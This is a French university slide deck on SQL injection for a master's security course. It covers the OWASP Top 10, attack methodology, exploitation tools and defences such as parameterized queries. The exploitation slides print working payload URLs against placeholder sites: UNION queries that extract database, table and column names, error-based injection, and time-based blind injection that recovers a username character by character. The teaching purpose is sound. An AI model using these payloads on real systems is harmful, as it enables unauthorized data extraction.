Académique Documents
Professionnel Documents
Culture Documents
Sécurité Applicative
M2-SSI
Qu’est ce qu’une
injection SQL
Partie 1
Injection SQL
• C’est une technique utilisée pour tirer parti des vulnérabilités
d'entrée non sanitarisées en transmettant des commandes SQL via
une application Web afin de les exécuter dans une B.D
• il s'agit d'une faille dans une application Web et non d'un problème
de base de données ou de serveur Web
L’attaquant Retourne le
obtient l’accès en profile de
qualité d’admin l’administrateur
Top 10 -2010
OWASP Top 10
Top 10 -2013 Top 10 -2017 Top 10 -2021
A1 - Injection A1 - Injection A1 - Injection A1- Broken access
CTRL
A2 - XSS A2 – Broken A2 – Broken A2 – cryptographic
authentication & session authentication failures
management
A3-Broken authentication A3 - XSS A3 – Sensitive data A3- injection
& session management exposure
A4 – insecure direct A4 – insecure direct object A4 – XML External A4- insecure design
object references references +A7 entitiies
A5 – CSRF A5 – Security A5- Broken access A5- security
misconfiguration control misconfiguration
A6 – Security A6 sensitive data A6 – Security A6- vulnerable and
misconfiguration exposure misconfiguration oudated components
A7 – insecure A7 missing function level A7 - XSS A7- identification and
cryptographic storage access CTRL +A4 authentication failures
A8– Failure to restrict A8 - CSRF A8 – insecure A8- software and data
URL access deserialization integrity failure
A9- insufficient transport A9 using components with A9 – using A9- security logging and
layer protection known vulnerabilities components with monitoring failure
known vulenrabilities
A10- unvalidated redirects A10 unvalidated redirects A10 insufficient A10 - SSRF
and forwards and forwards logging & monitoring
Pourquoi est ce embêtant ?
• en fonction de l'utilisation des applications et de la manière dont
elles traitent les données fournies par les utilisateurs, les injections
SQL peuvent être utilisées pour mettre en œuvre les types
d'attaques suivants:
– Contournement d’authentification et d'autorisation
• Divulgation d'information (Confidentialité)
• Altération des données (l’intégrité)
• Suppression des données (disponibilité)
– Exécution de code à distance
Généralités
Server side Les technologies côté serveur comme ASP.NET et les
technology serveurs de base de données permettent aux développeurs
de créer des sites Web et des applications Web dynamiques
axés sur les données avec une facilité incroyable
Exploits La puissance d’ASP.net et de SQL peuvent être exploités par
des pirates via des injections SQL
BD sensibles Tous les BD relationnelles, SQL server, Oracle, IBM DB2 et
my SQL
Attaques Les attaques par injection SQL n'exploitent pas une
vulnérabilité logicielle spécifique, mais ciblent les sites Web
et les applications Web qui ne respectent pas les pratiques
de codage sécurisées pour accéder et manipuler les données
stockées dans la base de données relationnelle
Requêtes HTTP POST
• lorsque l'utilisateur fournit des
informations et clique sur
soumettre, le navigateur
soumet une chaîne au serveur
Web contenant les
informations d'identification de
l'utilisateur
• cette chaîne est visible dans le
corps de la requête HTTP ou
HTTP POST comme suit :
Injections
SQL
2. Lancement de l’attaque
• incompatibilité de type
– essayez d'insérer des chaînes dans des champs numériques ; les messages d'erreur
afficheront les données qui n'ont pas pu être converties
– ‘ union select 1, 1, ‘test, 1, 1 –
• Blind injection
– utiliser des délais ou des signatures d'erreur pour déterminer ou extraire des informations
– ‘;If condition waitfor delay ‘0:0:5’--
Tester les injections
• Une fois les informations récoltées, l’attaquant peut utiliser les chaines de
test pour effectuer les injections SQL
1,1,1;
Autres techniques de detection
• Test des fonctions
– Ces tests entrent dans le cadre des tests à boîte noire et ne nécessitent aucune
connaissance de la conception interne du code ou de la logique
• Test de fuzzing
– il s'agit d'une technique de test d'injection SQL adaptative utilisée pour découvrir les erreurs
de codage en entrant une quantité massive de données aléatoires et en observant le
changement de sortie
– 2060
2 –lancement de
l’attaque par injection
Partie 3 : Méthodologie
Injection par union
• il existe deux règles pour combiner les ensembles de résultats de deux
requêtes en utilisant UNION
– le nombre et l'ordre des colonnes doivent être les mêmes dans toutes les requêtes
– les types de données doivent être compatibles
• exploitation
– déterminer le nombre de colonnes que la requête fait
– déterminer le nombre de colonnes (principalement intéressé par les données de chaîne)
– utiliser l'opérateur UNION pour sortir les informations de la base de données
Injection par union
Extraire Nom de la http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
base DB_NAME,3, 4—
Extraire tables de la http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
base TABLE_NAME,3, 4 FROM sysobjects where
xtype=char(85) —
Extraire nom des http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
colonnes COLUMN_NAME,3, 4 FROM
DB_NAME.information_schema.columns where
table_name=‘lol_table’--
Extraire premier http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
champs de données COLUMN_NAME-1,3, 4 from lol_table—
Faire une ISQL basée sur les
erreurs
• vous pouvez utiliser les messages d'erreur au niveau de la BD divulgués
par une application pour créer une requête exploitant la vulnérabilité. il est
également possible de créer des exploits automatisés en fonction du
message d'erreur généré par le serveur de base de données
• http:// server.test/page.php?id=1 or 1=convert(int, (DB_NAME)) –
• Erreur de syntaxe qui va convertir la valeur de ‘[DB NAME]’ en colonne de
données de type int
Faire un blind SQLi
• L'exploitation de l'injection SQL dépend du langage utilisé en SQL. un
attaquant fusionne deux requêtes SQL pour obtenir plus de données.
l'attaquant tente d'exploiter l'opérateur union pour obtenir plus
d'informations de la base de données.
• les injections aveugles aident un attaquant à contourner plus de filtres
facilement. L'une des principales caractéristiques distinctives de l'injection
SQL aveugle est qu'elle lit les entrées symbole par symbole
Exemple 1 récupérer username
• Vérifier la taille
– http://www.site.dz/page.aspx?id=1; IF (LEN(user)=1) WAITFOR DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (LEN(user)=1) WAITFOR DELAY ‘00:00:10’—
– On continue jusqu’à ce que le SGBD retourne True
• Vérifier quel est le 1er caractère
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),1,1)))=98) WAITFOR
DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),1,1)))=98) WAITFOR
DELAY ‘00:00:10’—
– On continue jusqu’au true
• Vérifier le deuxième caractère
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),2,1)))=97) WAITFOR
DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),2,1)))=98) WAITFOR
DELAY ‘00:00:10’—
Exemple suite
• On peut faire la même chose pour le nom de la base de données
– http://www.site.dz/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY ‘00:00:10’—
• Ou bien pour les noms des tables
– http://www.site.dz/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where
xtype=‘U’)=3) WAITFOR DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from
sysobjects where xtype=char (85)),1,1)))=101) WAITFOR DELAY ‘00:00:10’—
• Le même principe est applicable aux colonnes et aux données
Ce que l’on peut faire ?
• Blind SQL en utilisant l’exploitation out of band
• Exploiter des injections de second ordre
• Bypasser un parfeu
• Rajouter un user ou MAJ le MDP
Quelques outils
Partie 4
SQL MAP
• Automatise les processus de détection et d’exploitation des injections SQL
MOLE
• est un outil d'exploitation d'injection SQL qui détecte l'injection et l'exploite
uniquement en fournissant une URL vulnérable et une chaîne valide sur le
site
Blisqy
• Exploite les blind SQL injection basée sur le temps dans les HTTP-headers
Environnement mobile
• SQLI
• Droidbug SQLi Spyder
• SQLmapchik
Comment se defendre
?
Partie 5
Se défendre
• défenses primaires
– option 1 utilisation d'instructions préparées (requêtes paramétrées)
– option 2 utilisation de procédures stockées (partielle)
– option 3 : validation des entrées de la liste blanche (partielle)
– option 4 : échapper à toutes les entrées fournies par l'utilisateur (partiel)
• défenses supplémentaires
– aussi : appliquer le moindre provilege
– aussi : effectuer une validation d'entrée éclairée en blanc comme défense
secondaire
option 1 utilisation d'instructions
préparées
• Code vulnérable
• repérer le problème
– l'entrée "customerName" fournie par l'utilisateur est intégrée directement dans
l'instruction SQL
option 1 utilisation d'instructions
préparées
• la construction de l'instruction SQL s'effectue en deux étapes :
– l'application spécifie la structure de la requête avec des espaces réservés pour
chaque utilisateur inpt
– l'application précise le contenu de chaque espace réservé
• code non vulnérable à l'injection SQL
Option partielle
• Option 2 : utilisation des procédures stockées
– une procédure stockée est un lot d'instructions regroupées et stockées dans la
base de données
– pas toujours à l'abri de l'injection SQL, doit encore être appelé de manière
paramétrée